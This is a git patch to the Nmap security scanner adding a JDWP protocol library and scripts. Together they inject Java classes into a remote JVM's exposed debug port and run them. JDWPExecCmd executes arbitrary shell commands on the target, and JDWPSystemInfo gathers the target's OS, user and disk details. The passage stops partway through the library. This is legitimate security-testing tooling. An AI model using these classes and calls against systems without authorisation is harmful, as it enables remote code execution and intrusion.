From 16aa7a938d5d4b1e72823a140fa5dc4eac105c29 Mon Sep 17 00:00:00 2001 From: aca Date: Tue, 14 Aug 2012 11:31:08 +0000 Subject: [PATCH] Merged jdwp library, scripts and java classes into trunk --- CHANGELOG | 3 + nselib/data/jdwp-class/JDWPExecCmd.class | Bin 0 -> 1103 bytes nselib/data/jdwp-class/JDWPExecCmd.java | 31 + nselib/data/jdwp-class/JDWPSystemInfo.class | Bin 0 -> 2162 bytes nselib/data/jdwp-class/JDWPSystemInfo.java | 41 + nselib/data/jdwp-class/README.txt | 26 + nselib/jdwp.lua | 1094 +++++++++++++++++++ scripts/jdwp-exec.nse | 86 ++ scripts/jdwp-info.nse | 87 ++ scripts/jdwp-inject.nse | 79 ++ scripts/script.db | 3 + 11 files changed, 1450 insertions(+) create mode 100644 nselib/data/jdwp-class/JDWPExecCmd.class create mode 100644 nselib/data/jdwp-class/JDWPExecCmd.java create mode 100644 nselib/data/jdwp-class/JDWPSystemInfo.class create mode 100644 nselib/data/jdwp-class/JDWPSystemInfo.java create mode 100644 nselib/data/jdwp-class/README.txt create mode 100644 nselib/jdwp.lua create mode 100644 scripts/jdwp-exec.nse create mode 100644 scripts/jdwp-info.nse create mode 100644 scripts/jdwp-inject.nse diff --git a/CHANGELOG b/CHANGELOG index f8dd0de65..87ebcdaac 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,8 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added JDWP library, jdwp-info, jdwp-exec and jdwp-inject scripts and + needed classes. [Aleksandar Nikolic] + o [NSE] Added a BJNP library and the scripts broadcast-bjnp-discover and bjnp-discover. [Patrik Karlsson] diff --git a/nselib/data/jdwp-class/JDWPExecCmd.class b/nselib/data/jdwp-class/JDWPExecCmd.class new file mode 100644 index 0000000000000000000000000000000000000000..bb51e7fe3fcad57b280c2d6668ee9e14c5c820c5 GIT binary patch literal 1103 zcma)5+foxj5Iqw%Y*?0iK&}d?5W*!2ikd`J0$5rBDX_FsJ}t>WEt1{TvTN~2zUoV2 zNtKU2_zC`jKOvq;f(dAq?rinUboc2w-97W|=jSf~mhjX-A0~868VF%RiR%&EQ1eX# zQcU<(1ryi5(aMJb_9z$mUP_FaaW)c_pA_+=3M7 z%G!?H3W|Hudui<*QPbiDj=)qbduYA05=WMEkl6J-+c`+h{HYS?*!8Xa+fA!fh3i<> zaj(j2Nx;~311~Q(Y!$cr`P%F4^%I%T6blO~wuvbE1+H8^XEm^o3eq!i9}fiD#@)a# z1%A>nkwi*I+QdVwn0SQ80s~dB?Iu=({e9`l!j80v6&N}sJC!;nMmyJA+%yu*x=sH*rddZ-!VPC^kYfnmPBWzbe-AwZ0-78`Oy?hVq3qh!R zLpi|R7-zvb9Irrp}j5Mww57Bo}E(lkyu3(|45KBRFP`!&QInj1FNPBh`OY#~2qt?2O1z QO%0*rsw%=YB0?Dd1-2pn-T(jq literal 0 HcmV?d00001 diff --git a/nselib/data/jdwp-class/JDWPExecCmd.java b/nselib/data/jdwp-class/JDWPExecCmd.java new file mode 100644 index 000000000..479a10aba --- /dev/null +++ b/nselib/data/jdwp-class/JDWPExecCmd.java @@ -0,0 +1,31 @@ +import java.io.*; + +/* This is the JDWPExecCmd source used for jdwp-exec script to execute + * a command on the remote system. + * + * It just executes the shell command passed as string argument to + * run() function and returns its output. + * + * Compile simply with: + * javac JDWPExecCmd.java (should be in the nselib/data/ directory). + * + * author = "Aleksandar Nikolic" + * license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +*/ + +public class JDWPExecCmd { + public static String run(String cmd) { + String result = cmd + " output:\n"; + try{ + Process p = Runtime.getRuntime().exec(cmd); + BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line = null; + while ((line = in.readLine()) != null) { + result += line.trim()+"\n"; + } + result += "\n"; + }catch(Exception ex){ + } + return result; + } +} \ No newline at end of file diff --git a/nselib/data/jdwp-class/JDWPSystemInfo.class b/nselib/data/jdwp-class/JDWPSystemInfo.class new file mode 100644 index 0000000000000000000000000000000000000000..550c2748ab8d2f4c1ffd77996be5d447c95e1a81 GIT binary patch literal 2162 zcma)7TUQ%Z6#fng%w#$g2n0$C?X+4NuF;}Zp`x@%<&K0>Yt=dl2N*h;i8B)vZ>?JO zt^Yw^eDv}VSh`jpd~*5h@;~?we6sF636PkYY}7idlgX7Fc@=!3<1X$| zXG>{gO?tlNItC*&LhO`mfi~LAn?ZKVu;q@lLqOawI3olK{Uf2j1f2A;TUH>mLBW#; zwM_B}9G|868s)6KrSpW3%4pYp>2X`U7b}nvHYsq7H;gT}a)&KS8FEwzEIT!22IOci z(P;!0gL$~0>i7(w>$r$f1^0D)fiJn0D&}cOM`SN$wyFCnS4ngv(Xy&6H^n@W3Y*M) zUOMXn!^y`8uEtfC5Cyg!6B zm7|(!;2xYr+aM(_ghC91XE}JbUT{cOs(f%?bue91`z@phM=R7wii3{jUkrgsP}0u{mDvWD&PObSFw= z(E*p~h6!j;(#-L^L!zqP^abS^WYblXcwAd+I7_$QFx}3edrZO&g7c>s+ zLHs~30#DPkDRed?#yX{Uf;OZnw21(J#2e;*M&#xmq60-V#+&G|52XmTh*(@BtB7M& z2>k%jT*UE1#6DfIg9}3sCnA@kiD>UP@P-o6i(`$Ixmzi+oAR~MdKg#qN>Qw->-1L$SI={kTj3^3{d&NAR!9l#R| zc(Mj?p1A5;s66fk0uB|CJe=vk_r!Wb$o(SP>Ai*6ZlyoZHe5p-bL6{?4%|ZmU!xPh zko_x8;7@c54JXAQPKkN+h#Y#w1DqD$;f&aWA%4d>JVV*K(C~=a)!tKbs-1c~l1 p`WK4fIXqty82YFI)}rOIV0=+k2>>pdc4Ke@# literal 0 HcmV?d00001 diff --git a/nselib/data/jdwp-class/JDWPSystemInfo.java b/nselib/data/jdwp-class/JDWPSystemInfo.java new file mode 100644 index 000000000..006015c31 --- /dev/null +++ b/nselib/data/jdwp-class/JDWPSystemInfo.java @@ -0,0 +1,41 @@ +import java.io.*; +import java.util.Date; +/* This is the JDWPSystemInfo source used for jdwp-info script to get remote + * system information. + * + * Compile simply with: + * javac JDWPSystemInfo.java (should be in the nselib/data/jdwp-class directory). + * + * author = "Aleksandar Nikolic" + * license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +*/ + +public class JDWPSystemInfo { + public static String run() { + String result = ""; + result += "Available processors: " + Runtime.getRuntime().availableProcessors() + "\n"; + result += "Free memory: " + Runtime.getRuntime().freeMemory() + "\n"; + File[] roots = File.listRoots(); + for (File root : roots) { + result += "File system root: " + root.getAbsolutePath() + "\n"; + result += "Total space (bytes): " + root.getTotalSpace() + "\n"; + result += "Free space (bytes): " + root.getFreeSpace() + "\n"; + } + result += "Name of the OS: " + System.getProperty("os.name") + "\n"; + result += "OS Version : " + System.getProperty("os.version") + "\n"; + result += "OS patch level : " + System.getProperty("sun.os.patch.level") + "\n"; + result += "OS Architecture: " + System.getProperty("os.arch") + "\n"; + result += "Java version: " + System.getProperty("java.version") + "\n"; + result += "Username: " + System.getProperty("user.name") + "\n"; + result += "User home: " + System.getProperty("user.home") + "\n"; + Date dateNow = new Date(); + result += "System time: " + dateNow + "\n"; + + return result; + } + + public static void main(String[] args){ + System.out.println(run()); + } + +} \ No newline at end of file diff --git a/nselib/data/jdwp-class/README.txt b/nselib/data/jdwp-class/README.txt new file mode 100644 index 000000000..5d2f4f59d --- /dev/null +++ b/nselib/data/jdwp-class/README.txt @@ -0,0 +1,26 @@ +This directory contains sources and compiled classes +used by jdwp-* scripts. + +All classes must have run() method defined which is +expected to return a string. +Method run() can have arguments, but then the scripts +would need to be modified to add those arguments when +class is injected. As JDWPExecCmd has a run() method +which accepts a string as its argument, see +jdwp-exec script for details of passing the +arguments to a method via JDWP. +Arguments need to be tagged with their respective type. +For other tags see http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502 . +Example from jdwp-exec: + + local cmdID + status,cmdID = jdwp.createString(socket,0,cmd) + local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag + -- invoke run method + local result + status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs) + +To compile these sources: +# javac *.java + + diff --git a/nselib/jdwp.lua b/nselib/jdwp.lua new file mode 100644 index 000000000..7a32904a0 --- /dev/null +++ b/nselib/jdwp.lua @@ -0,0 +1,1094 @@ +--- JDWP library implementing a set of commands needed to +-- use remote debugging port and inject java bytecode. +-- +-- There are two basic packet types in JDWP protool. +-- Command packet and reply packet. Command packets are sent by +-- a debugger to a remote port which replies with a reply packet. +-- +-- Simple handshake is needed to start the communication. +-- The debugger sends a "JDWP-Handshake" string and gets the same as a reply. +-- Each (command and reply packet) has an id field since communication can be asynchronous. +-- Packet id can be monothonicaly increasing. +-- Although communication can be asynchronous, it is not (at least in my tests) so the same +-- packet id can be used for all communication. +-- +-- To start the connection, script should call jdwp.connect() which returns success +-- status and a socket. All other protocol functions require a socket as their first parameter. +-- +-- Example of initiating connection: +-- +-- local status,socket = jdwp.connect(host,port) +-- if not status then +-- stdnse.print_debug("error, %s",socket) +-- end +-- local version_info +-- status, version_info = jdwp.getVersion(socket,0) +-- +-- +-- References: +-- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html +-- +--@copyright Same as Nmap--See http://nmap.org/book/man-legal.html +--@author Aleksandar Nikolic +-- +-- Version 0.1 +-- Created 08/10/2012 - v0.1 - Created by Aleksandar Nikolic + +local stdnse = require "stdnse" +local string = require "string" +local bin = require "bin" +local table = require "table" + +_ENV = stdnse.module("jdwp", stdnse.seeall) + +-- JDWP protocol specific constants +JDWP_CONSTANTS = { + handshake = "JDWP-Handshake" -- Connection initialization handshake +} + +-- List of error codes from: +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_Error +ERROR_CODES = { + [0] = "NONE No error has occurred.", + [10] = "INVALID_THREAD Passed thread is null, is not a valid thread or has exited.", + [11] = "INVALID_THREAD_GROUP Thread group invalid.", + [12] = "INVALID_PRIORITY Invalid priority.", + [13] = "THREAD_NOT_SUSPENDED If the specified thread has not been suspended by an event.", + [14] = "THREAD_SUSPENDED Thread already suspended.", + [20] = "INVALID_OBJECT If this reference type has been unloaded and garbage collected.", + [21] = "INVALID_CLASS Invalid class.", + [22] = "CLASS_NOT_PREPARED Class has been loaded but not yet prepared.", + [23] = "INVALID_METHODID Invalid method.", + [24] = "INVALID_LOCATION Invalid location.", + [25] = "INVALID_FIELDID Invalid field.", + [30] = "INVALID_FRAMEID Invalid jframeID.", + [31] = "NO_MORE_FRAMES There are no more Java or JNI frames on the call stack.", + [32] = "OPAQUE_FRAME Information about the frame is not available.", + [33] = "NOT_CURRENT_FRAME Operation can only be performed on current frame.", + [34] = "TYPE_MISMATCH The variable is not an appropriate type for the function used.", + [35] = "INVALID_SLOT Invalid slot.", + [40] = "DUPLICATE Item already set.", + [41] = "NOT_FOUND Desired element not found.", + [50] = "INVALID_MONITOR Invalid monitor.", + [51] = "NOT_MONITOR_OWNER This thread doesn't own the monitor.", + [52] = "INTERRUPT The call has been interrupted before completion.", + [60] = "INVALID_CLASS_FORMAT The virtual machine attempted to read a class file and determined that the file is malformed or otherwise cannot be interpreted as a class file.", + [61] = "CIRCULAR_CLASS_DEFINITION A circularity has been detected while initializing a class.", + [62] = "FAILS_VERIFICATION The verifier detected that a class file, though well formed, contained some sort of internal inconsistency or security problem.", + [63] = "ADD_METHOD_NOT_IMPLEMENTED Adding methods has not been implemented.", + [64] = "SCHEMA_CHANGE_NOT_IMPLEMENTED Schema change has not been implemented.", + [65] = "INVALID_TYPESTATE The state of the thread has been modified, and is now inconsistent.", + [66] = "HIERARCHY_CHANGE_NOT_IMPLEMENTED A direct superclass is different for the new class version, or the set of directly implemented interfaces is different and canUnrestrictedlyRedefineClasses is false.", + [67] = "DELETE_METHOD_NOT_IMPLEMENTED The new class version does not declare a method declared in the old class version and canUnrestrictedlyRedefineClasses is false.", + [68] = "UNSUPPORTED_VERSION A class file has a version number not supported by this VM.", + [69] = "NAMES_DONT_MATCH The class name defined in the new class file is different from the name in the old class object.", + [70] = "CLASS_MODIFIERS_CHANGE_NOT_IMPLEMENTED The new class version has different modifiers and and canUnrestrictedlyRedefineClasses is false.", + [71] = "METHOD_MODIFIERS_CHANGE_NOT_IMPLEMENTED A method in the new class version has different modifiers than its counterpart in the old class version and and canUnrestrictedlyRedefineClasses is false.", + [99] = "NOT_IMPLEMENTED The functionality is not implemented in this virtual machine.", + [100] = "NULL_POINTER Invalid pointer.", + [101] = "ABSENT_INFORMATION Desired information is not available.", + [102] = "INVALID_EVENT_TYPE The specified event type id is not recognized.", + [103] = "ILLEGAL_ARGUMENT Illegal argument.", + [110] = "OUT_OF_MEMORY The function needed to allocate memory and no more memory was available for allocation.", + [111] = "ACCESS_DENIED Debugging has not been enabled in this virtual machine. JVMDI cannot be used.", + [112] = "VM_DEAD The virtual machine is not running.", + [113] = "INTERNAL An unexpected internal error has occurred.", + [115] = "UNATTACHED_THREAD The thread being used to call this function is not attached to the virtual machine. Calls must be made from attached threads.", + [500] = "INVALID_TAG object type id or class tag.", + [502] = "ALREADY_INVOKING Previous invoke not complete.", + [503] = "INVALID_INDEX Index is invalid.", + [504] = "INVALID_LENGTH The length is invalid.", + [506] = "INVALID_STRING The string is invalid.", + [507] = "INVALID_CLASS_LOADER The class loader is invalid.", + [508] = "INVALID_ARRAY The array is invalid.", + [509] = "TRANSPORT_LOAD Unable to load the transport.", + [510] = "TRANSPORT_INIT Unable to initialize the transport.", + [511] = "NATIVE_METHOD", + [512] = "INVALID_COUNT The count is invalid." +} + +-- JDWP protocol Command packet as described at +-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html +-- Each command packet has a Command Set number, Command Number and data required +-- for that command. +JDWPCommandPacket = { + + new = function(self,id,command_set,command, data) + local o = { + id = id, + flags = 0, -- current specification has no flags defined for Command Packets + command_set = command_set, + command = command, + data = data + } + setmetatable(o, self) + self.__index = self + return o + end, + + -- Packs command packet as a string od bytes, ready to be sent + -- to the target debugee. + pack = function(self) + local packed_packet + if self.data == nil then + packed_packet = bin.pack(">I",11) -- lenght - minimal header is 11 bytes + else + packed_packet = bin.pack(">I",11 + #self.data) -- lenght with data + end + packed_packet = packed_packet .. bin.pack(">I",self.id) + packed_packet = packed_packet .. bin.pack(">C",0) -- flag + packed_packet = packed_packet .. bin.pack(">C",self.command_set) + packed_packet = packed_packet .. bin.pack(">C",self.command) + if self.data then + packed_packet = packed_packet .. self.data + end + return packed_packet + end +} + +-- JDWP protocol Reply packet as described at +-- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html +-- Reply packets are recognized by 0x80 in flag field. +JDWPReplyPacket = { + + new = function(self,length,id,error_code,data) + local o = { + length = length, + id = id, + flags = 0x80, -- no other flag is currently specified in the specification + error_code = error_code, -- see ERROR_CODES table + data = data -- reply data, contents depend on the command + } + setmetatable(o, self) + self.__index = self + return o + end, + + -- Parses the reply into JDWPReplyPacket table. + parse_reply = function(self,reply_packet) + local pos,length,id,flags,error_code,data + pos, length = bin.unpack(">I",reply_packet) + pos, id = bin.unpack(">I",reply_packet,pos) + pos, flags = bin.unpack(">C",reply_packet,pos) + pos, error_code = bin.unpack(">S",reply_packet,pos) + data = string.sub(reply_packet,pos) + if flags == 0x80 then + return true, JDWPReplyPacket:new(length,id,error_code,data) + end + stdnse.print_debug(2,"JDWP error parsing reply. Wrong reply packet flag. Raw data: ", stdnse.tohex(reply_packet)) + return false, "JDWP error parsing reply." + end + +} + +--- Negotiates the initial debugger-debugee handshake. +-- +--@param host Host to connect to. +--@param port Port to connect to. +--@return (status,socket) If status is false, socket is error message, otherwise socket is +-- a newly created socket with initial handshake finished. +function connect(host,port) + local status, result,err + local socket = nmap.new_socket("tcp") + socket:set_timeout(10000) + local status, err = socket:connect(host, port) + if not status then + stdnse.print_debug(2,"JDWP could not connect: %s",err) + return status, err + end + status, err = socket:send(JDWP_CONSTANTS.handshake) + if not status then + stdnse.print_debug(2,"JDWP could not send handshake: %s",err) + return status, err + end + status, result = socket:receive() + if not status then + stdnse.print_debug(2,"JDWP could not receive handshake: %s",result) + return status, result + end + if result == JDWP_CONSTANTS.handshake then + stdnse.print_debug("JDWP handshake successful.") + return true, socket + end + return false, "JDWP handshake unsuccessful." +end + +--- Helper function to pack regular string into UTF-8 string. +-- +--@param data String to pack into UTF-8. +--@return utf8_string UTF-8 packed string. Four bytes lenght followed by the string its self. +function toUTF8(data) + local utf8_string = bin.pack(">i",#data) .. data + return utf8_string +end + +--- Helper function to read all Reply packed data which might be fragmented +-- over multipe packets. +-- +--@param socket Socket to receive from. +--@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes. +function receive_all(socket) + local status, result = socket:receive() + if not status then + return false,result + end + local data = result + local _, expected_length = bin.unpack(">I",result) -- first 4 bytes of packet data is the ReplyPacket length + while expected_length > #data do -- read until we get all the ReplyPacket data + status,result = socket:receive() + if not status then + return true, data -- if somethign is wrong,return partial data + end + data = data .. result + end + return true,data +end + +--- Helper function to extract ascii string from UTF-8 +-- +-- Writen in this way so it can be used interchangeably with bin.unpack(). +-- +--@param data Data from which to extract the string. +--@param pos Offset into data string where to begin. +--@return (pos,ascii_string) Returns position where the string extraction ended and actuall ascii string. +local function extract_string(data,pos) + local string_size + if pos > #data then + stdnse.print_debug(2,"JDWP extract_string() position higher than data length, probably incomplete data received.") + return pos, nil + end + pos, string_size = bin.unpack(">I",data,pos) + local ascii_string = string.sub(data,pos,pos+string_size) + local new_pos = pos+string_size + return new_pos,ascii_string +end + + +--- Helper function that sends the Command packet and parses the reply. +-- +--@param socket Socket to use to send the command. +--@param command JDWPCommandPacket to send. +--@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply. +function executeCommand(socket,command) + socket:send(command:pack()) + local status, result = receive_all(socket) + if not status then + return false, "JDWP executeCommand() didn't get a reply." + end + local reply_packet + status, reply_packet = JDWPReplyPacket:parse_reply(result) + if not status then + return false, reply_packet + end + if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occured + return false, ERROR_CODES[reply_packet.error_code] + end + local data = reply_packet.data + return true, data +end + +--- VirtualMachine Command Set (1) +-- Commands targeted at the debugggee virtual machine. +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine + + +--- Version Command (1) +-- Returns the JDWP version implemented by the target VM as a table. +-- +-- Returns a table with following values: +-- * 'description' Debugge vm verbose description. +-- * 'jdwpMajor' Number representing major JDWP version. +-- * 'jdwpMinor' Number representing minor JDWP version. +-- * 'vmVersion' String representing version of the debuggee VM. +-- * 'vmName' Name of the debuggee VM. +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info. +function getVersion(socket,id) + local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP getVersion() error : %s",data) + return false,data + end + -- parse data + local version_info = {description = "", + jdwpMajor = 0, + jdwpMinor = 0, + vmVersion = "", + vmName = ""} + local vmVersionSize + local pos + pos, version_info.description = extract_string(data,0) + pos, version_info.jdwpMajor = bin.unpack(">i",data,pos) + pos, version_info.jdwpMinor = bin.unpack(">i",data,pos) + pos, version_info.vmVersion = extract_string(data,pos) + pos, version_info.vmName = extract_string(data,pos) + return true, version_info +end + +--- Classes by Signature command (2) +-- Returns reference types for all the classes loaded by the target VM which match the given signature. +-- +-- Given the class signature (like "Ljava/lang/Class") returns it's reference ID which can be used to reference that class +-- in other commands. Returns a list of tables containing following values: +-- * 'refTypeTag' JNI type tag +-- * 'referenceTypeID' Reference type of the class +-- * 'status' Current class status. +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param signature Signature of the class. +--@return (status,classes) If status is false, classes is an error string, else it contains list of found classes. +function getClassBySignature(socket,id,signature) + local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature)) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP getClassBySignature() error : %s",data) + return false,data + end + -- parse data + local classes = {} + local pos,number_of_classes = bin.unpack(">i",data) + + for i = 1, number_of_classes do + local class_info = { + refTypeTag = nil, + referenceTypeID = nil, + status = nil + } + pos, class_info.refTypeTag = bin.unpack("c",data,pos) + pos, class_info.referenceTypeID = bin.unpack(">L",data,pos) + pos, class_info.status = bin.unpack(">i",data,pos) + table.insert(classes,class_info) + end + return true, classes +end + +--- AllThreads Command (4) +-- Returns all threads currently running in the target VM . +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@return (status, threads) If status is false threads contains an error string, else it conatins a list of all threads in the debuggee VM. +function getAllThreads(socket,id) + local command = JDWPCommandPacket:new(id,1,4,nil) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP getAllThreads() error: %s", data) + return false,data + end + -- parse data + local pos,number_of_threads = bin.unpack(">i",data) + local threads = {} + for i = 1, number_of_threads do + local thread + pos, thread = bin.unpack(">L",data,pos) + table.insert(threads,thread) + end + return true, threads +end + +--- Resume Command (9) +-- Resumes execution of the application after the suspend command or an event has stopped it. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply. +function resumeVM(socket,id) + local command = JDWPCommandPacket:new(id,1,9,nil) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP resumeVM() error: %s", data) + return false,data + end + -- wait for event notification + status, data = receive_all(socket) + if not status then + stdnse.print_debug(2,"JDWP resumeVM() event notification failed: %s", data) + end + return true, nil +end + +--- CreateString Command (11) +-- Creates new string object in the debuggee VM. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param ascii_string String to create. +--@return (status, stringID) If status is false error string is returned, else stringID is newly created string. +function createString(socket,id,ascii_string) + local command = JDWPCommandPacket:new(id,1,11,toUTF8(ascii_string)) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP createString() error: %s", data) + return false,data + end + local _,stringID = bin.unpack(">L",data) + return true, stringID +end + +--- AllClassesWithGeneric Command (20) +-- Returns reference types and signatures for all classes currently loaded by the target VM. +-- +-- Returns a list of tables containing following info: +-- * 'refTypeTag' Kind of following reference type. +-- * 'typeID' Loaded reference type +-- * 'signature' The JNI signature of the loaded reference type. +-- * 'genericSignature' The generic signature of the loaded reference type or an empty string if there is none. +-- * 'status' The current class status. +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information. +function getAllClassesWithGeneric(socket,id) + local command = JDWPCommandPacket:new(id,1,20,nil) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP getAllClassesWithGeneric() error: %s", data) + return false,data + end + -- parse data + local all_classes = {} + local pos,number_of_classes = bin.unpack(">i",data) + + for i = 0 , number_of_classes do + local class = { + refTypeTag = nil, + typeID = nil, + signature = nil, + genericSignature = nil, + status = nil + } + if pos > #data then break end + pos, class.refTypeTag = bin.unpack("C",data,pos) + pos, class.typeID = bin.unpack(">L",data,pos) + pos, class.signature = extract_string(data,pos) + pos, class.genericSignature = extract_string(data,pos) + pos, class.status = bin.unpack(">i",data,pos) + table.insert(all_classes,class) + end + return true, all_classes +end + +--- ReferenceType Command Set (2) +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType + + +--- SignatureWithGeneric Command (13) +-- Returns the JNI signature of a reference type. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param classID Reference type id of the class to get the signature from. +--@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class"). +function getSignatureWithGeneric(socket,id,classID) + local command = JDWPCommandPacket:new(id,2,13,bin.pack(">L",classID)) -- Version Command (1) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP getVersion() error : %s",data) + return false,data + end + local _,signature = extract_string(data,0) + -- parse data + return true,signature +end + +--- MethodsWithGeneric Command (15) +-- Returns information, including the generic signature if any, for each method in a reference type. +-- +-- Returns a list of tables containing following fields for each method: +-- * 'methodID' Method ID which can be used to call the method. +-- * 'name' The name of the method. +-- * 'signature' The JNI signature of the method. +-- * 'generic_signature' The generic signature of the method, or an empty string if there is none. +-- * 'modBits' The modifier bit flags (also known as access flags) which provide additional information on the method declaration. +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param classID Reference type id of the class to get the list of methods. +--@return (status, signature) If status is false methods contains an error string, else it a list of methods information. +function getMethodsWithGeneric(socket,id,classID) + local command = JDWPCommandPacket:new(id,2,15,bin.pack(">L",classID)) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP getMethodsWithGeneric() error : %s",data) + return false,data + end + -- parse data + local methods = {} + local pos,number_of_methods = bin.unpack(">i",data) + + for i = 1, number_of_methods do + local method_info = { + methodID = nil, + name = nil, + signature = nil, + generic_signature = nil, + modBits = nil + } + pos, method_info.methodID = bin.unpack(">i",data,pos) + pos,method_info.name = extract_string(data,pos) + pos, method_info.signature = extract_string(data,pos) + pos,method_info.generic_signature = extract_string(data,pos) + pos, method_info.modBits = bin.unpack(">i",data,pos) + table.insert(methods,method_info) + end + return true, methods +end + +--- ClassType Command Set (3) +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType + +--- InvokeMethod Command (3) +-- Invokes a class' static method and returns the reply data. +-- +-- Reply data can vary so parsing is left to the function caller. +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param classID Reference type id of the class. +--@param methodID ID of the static method to call. +--@numberOfArguments Number of method arguments. +--@arguments Already packed arguments. +--@options Invocation options. +--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy. +function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,arguments,options) + local params + if numberOfArguments == 0 then + params = bin.pack(">Liii",classID,methodID,numberOfArguments,options) + else + params = bin.pack(">Lii",classID,methodID,numberOfArguments) .. arguments .. bin.pack(">i",options) + end + + local command = JDWPCommandPacket:new(id,3,3,params) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP invokeStaticMethod() error: %s", data) + return false,data + end + return true,data +end + +--- NewInstance Command (4) +-- Creates a new object of this type, invoking the specified constructor. +-- The constructor method ID must be a member of the class type. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param classID Reference type id of the class. +--@param threadID The thread in which to invoke the constructor. +--@param methodID The constructor to invoke. +--@numberOfArguments Number of constructor arguments. +--@arguments Already packed arguments. +--@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object. +function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments,arguments) + local params + if numberOfArguments == 0 then + params = bin.pack(">LLiii",classID,threadID,methodID,numberOfArguments,0) + else + params = bin.pack(">LLii",classID,threadID,methodID,numberOfArguments) .. arguments + end + + local command = JDWPCommandPacket:new(id,3,4,params) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP newClassInstance() error: %s", data) + return false,data + end + -- parse data + stdnse.print_debug("newClassInstance data: %s",stdnse.tohex(data)) + local pos, tag = bin.unpack(">C",data) + pos, objectID = bin.unpack(">L",data,pos) + return true,objectID +end + +--- ArrayType Command Set (4) +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType + +--- NewInstance Command (1) +-- Creates a new array object of the specified type with a given length. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param arrayType The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502). +--@param length Length of the new array. +--@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array. +function newArrayInstance(socket,id,arrayType,length) + local params = bin.pack(">Li",arrayType,length) + local command = JDWPCommandPacket:new(id,4,1,params) + local status, data = 